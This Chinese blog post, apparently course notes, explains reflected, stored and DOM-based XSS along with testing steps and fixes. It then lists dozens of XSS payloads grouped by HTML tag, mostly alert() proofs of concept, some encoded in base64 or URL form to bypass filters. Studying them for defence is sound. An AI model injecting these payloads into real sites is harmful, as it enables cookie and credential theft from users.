WEB攻防-XSS跨站&反射型&存储型&DOM型&标签闭合&输入输出&JS代码解析

XSS跨站-输入输出-原理&分类&闭合

漏洞原理:接受输入数据(如前端JS代码进行执行),输出显示数据后解析执行

(先分析,在输入,有闭合绕闭合,有过滤绕过滤)

反射(非持续型攻击)有一些浏览器会阻止不确定用户会不会点击

利用:可以制造一个钓鱼网站

基础类型:反射(非持续),存储(持续),DOM-BASE

存储型攻击(评论区留言板功能没有删除功能,一直存在该网页上,输入数据后直接写到数据库中当另一个人访问该网站时自动执行植入代码跳出弹框)

DOM攻击

和反射型还有存储型的区别:通过js代码把网站上面显示的url或者js代码当做参数传入

拓展类型:jquery,mxss,uxss,pdfxss,flashxss,上传xss等

常用标签:https://www.freebuf.com/articles/web/340080.html

尝试闭合标签

攻击利用:盲打,COOKIE盗取,凭据窃取,页面劫持,网络钓鱼,权限维持等

安全修复:字符过滤,实例化编码,http_only,CSP防护,WAF拦截等

测试流程:看输出想输入在哪里,更改输入代码看执行(标签,过滤决定)

#XSS跨站-分类测试-反射&存储&DOM

-数据交互的地方

get、post、headers

反馈与浏览

富文本编辑器

各类标签插入和自定义

-数据输出的地方

用户资料

数据输出

评论,留言等

关键词、标签、说明

文件上传

-反射型XSS:(某案例测试)

常见情况是攻击者通过构造一个恶意链接的形式,诱导用户传播和打开,

由于链接内所携带的参数会回显于页面中或作为页面的处理数据源,最终造成XSS攻击。

-存储型XSS:(某案例测试)

存储型XSS是持久化的XSS攻击方式,将恶意代码存储于服务器端,

当其他用户再次访问页面时触发,造成XSS攻击。

-DOM-base型XSS:(某案例测试)

通过修改原始的客户端代码,受害者浏览器的DOM环境改变,导致有效载荷的执行。

页面本身没有变化,但由于DOM环境被恶意修改,有客户端代码被包含进了页面并执行。

常用标签:https://www.freebuf.com/articles/web/340080.html

xss 常见标签语句

1. a 标签

<a href="javascript:alert(1)">test</a>
<a href="x" onfocus="alert('xss');" autofocus="">xss</a>
<a href="x" onclick=eval("alert('xss');")>xss</a>
<a href="x" onmouseover="alert('xss');">xss</a>
<a href="x" onmouseout="alert('xss');">xss</a>

2. img 标签

<img src=x onerror="alert(1)">
<img src=x onerror=eval("alert(1)")>
<img src=1 onmouseover="alert('xss');">
<img src=1 onmouseout="alert('xss');">
<img src=1 onclick="alert('xss');">

3. iframe 标签

<iframe src="javascript:alert(1)">test</iframe>
<iframe onload="alert(document.cookie)"></iframe>
<iframe onload="alert('xss');"></iframe>
<iframe onload="base64,YWxlcnQoJ3hzcycpOw=="></iframe>
<iframe onmouseover="alert('xss');"></iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

4. audio 标签

<audio src=1 onerror=alert(1)>
<audio><source src="x" onerror="alert('xss');"></audio>
<audio controls onfocus=eval("alert('xss');") autofocus=""></audio>
<audio controls onmouseover="alert('xss');"><source src="x"></audio>

5. video 标签

<video src=x onerror=alert(1)>
<video><source onerror="alert('xss');"></video>
<video controls onmouseover="alert('xss');"></video>
<video controls onfocus="alert('xss');" autofocus=""></video>
<video controls onclick="alert('xss');"></video>

6. svg 标签

<svg onload=javascript:alert(1)>
<svg onload="alert('xss');"></svg>

7. button 标签

<button onclick=alert(1)>
<button onfocus="alert('xss');" autofocus="">xss</button>
<button onclick="alert('xss');">xss</button>
<button onmouseover="alert('xss');">xss</button>
<button onmouseout="alert('xss');">xss</button>
<button onmouseup="alert('xss');">xss</button>
<button onmousedown="alert('xss');"></button>

8. div 标签

这个需要借助url编码来实现绕过

原代码:
<div onmouseover='alert(1)'>DIV</div>
经过url编码:
<div onmouseover%3d'alert%26lpar%3b1%26rpar%3b'>DIV<%2fdiv>

9. object标签

这个需要借助 data 伪协议和 base64 编码来实现绕过

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object>

10. script 标签

<script>alert('xss')</script>
<script>alert(/xss/)</script>
<script>alert(123)</script>

11. p 标签

<p onclick="alert('xss');">xss</p>
<p onmouseover="alert('xss');">xss</p>
<p onmouseout="alert('xss');">xss</p>
<p onmouseup="alert('xss');">xss</p>

12. input 标签

<input onclick="alert('xss');">
<input onfocus="alert('xss');">
<input onfocus="alert('xss');" autofocus="">
<input onmouseover="alert('xss');">
<input type="text" onkeydown="alert('xss');"></input>
<input type="text" onkeypress="alert('xss');"></input>
<input type="text" onkeydown="alert('xss');"></input>

13. details 标签

<details ontoggle="alert('xss');"></details>
<details ontoggle="alert('xss');" open=""></details>

14. select 标签

<select onfocus="alert('xss');" autofocus></select>
<select onmouseover="alert('xss');"></select>
<select onclick=eval("alert('xss');")></select>

15. form 标签

<form method="x" action="x" onmouseover="alert('xss');"><input type=submit></form>
<form method="x" action="x" onmouseout="alert('xss');"><input type=submit></form>
<form method="x" action="x" onmouseup="alert('xss');"><input type=submit></form>
  1. body 标签
<body onload="alert('xss');"></body>

posted @ 2024-11-21 20:00  TNPiper  阅读(238)  评论(0)    收藏  举报